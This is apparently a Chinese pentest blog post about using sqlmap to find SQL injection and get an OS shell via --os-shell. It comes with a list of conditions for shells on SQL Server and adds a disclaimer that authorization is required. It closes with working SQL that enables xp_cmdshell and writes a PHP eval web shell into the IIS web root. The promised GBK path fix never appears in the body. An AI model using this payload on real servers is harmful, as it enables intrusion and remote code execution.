从sql注入到getshell (内附sqlmap的os-shell遇到中文路径的解决办法)

本文介绍了通过SQL注入获取操作系统shell的过程中遇到的中文路径问题。使用sqlmap进行渗透测试时,发现命令执行受限于系统路径。通过分析编码问题,发现目标服务器采用GBK编码而非UTF-8。利用Burp Suite设置代理,修改请求包并用Python脚本进行GBK编码转换,成功解决了命令执行的问题,实现了列出E盘文件。强调所有渗透测试需获取授权,分享内容仅供技术讨论。

`搜索公众号:白帽子左一,每天更新技术干货!

作者:掌控安全学员——君叹

基本界面

试试看信息列表里面随便点一条看下网络请求

图片

可以看到一个带有参数的请求,我们试着直接访问

图片

直接访问的话能够看到直接的文章内容

图片

尝试一下更改bti的值

图片

试试直接用sqlmap跑

测试成功,存在sql注入

图片

尝试参数 —os-shell

看看是否能拿到shell

图片

成功getshell

但是我们执行命令默认都在’C:\Windows\system32’这个路径下

SQL Server 中使用 `sqlmap` 的 `--getshell` 功能进行渗透测试,需要满足一系列条件。`--getshell` 功能通常用于在目标数据库支持文件写入的情况下,通过 SQL 注入漏洞上传 Web Shell 或执行命令,从而获取对目标系统的控制权。 以下是使用 `--getshell` 所需的条件: 1. **SQL 注入漏洞存在** 目标系统必须存在可利用的 SQL 注入漏洞,并且攻击者能够通过 `sqlmap` 检测到该漏洞。注入点必须允许执行多语句查询或堆叠查询(Stacked Queries)[^3]。 2. **数据库用户权限足够** 当前数据库用户必须具有足够的权限来执行文件写入操作或调用系统命令。在 SQL Server 中,通常需要 `sysadmin` 权限才能启用 `xp_cmdshell` 或写入 Web 可访问目录[^3]。 3. **允许文件写入** SQL Server 必须允许将内容写入文件系统,通常通过 `xp_cmdshell` 或 `bcp` 命令实现。如果目标服务器启用了 `xp_cmdshell`,攻击者可以利用它执行命令并上传 Web Shell[^3]。 4. **Web 可访问路径已知** 攻击者必须知道 Web 服务器上可访问的路径,以便上传 Web Shell 并通过浏览器访问。例如,`C:\inetpub\wwwroot` 是常见的 IIS Web 根目录路径。 5. **防火墙或 WAF 未拦截** 目标服务器的防火墙或 Web 应用防火墙(WAF)不应拦截 `sqlmap` 的请求或 Web Shell 的上传行为。`sqlmap` 提供了多种绕过机制(如 `--tamper` 脚本)来规避检测[^1]。 6. **支持堆叠查询或多语句执行** SQL Server 必须支持堆叠查询或多个语句连续执行,这样 `sqlmap` 才能依次执行创建文件、写入 Shell、执行命令等操作。 7. **启用 `xp_cmdshell` 或类似功能** 默认情况下,SQL Server 禁用了 `xp_cmdshell`。如果未启用,攻击者可能需要先通过注入点启用该功能,这通常需要 `sysadmin` 权限[^3]。 ### 示例:启用 `xp_cmdshell` 并上传 Web Shell ```sql -- 启用 xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 使用 xp_cmdshell 写入 Web Shell EXEC xp_cmdshell 'echo <?php @eval($_POST["cmd"]);?> > C:\inetpub\wwwroot\shell.php'; ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值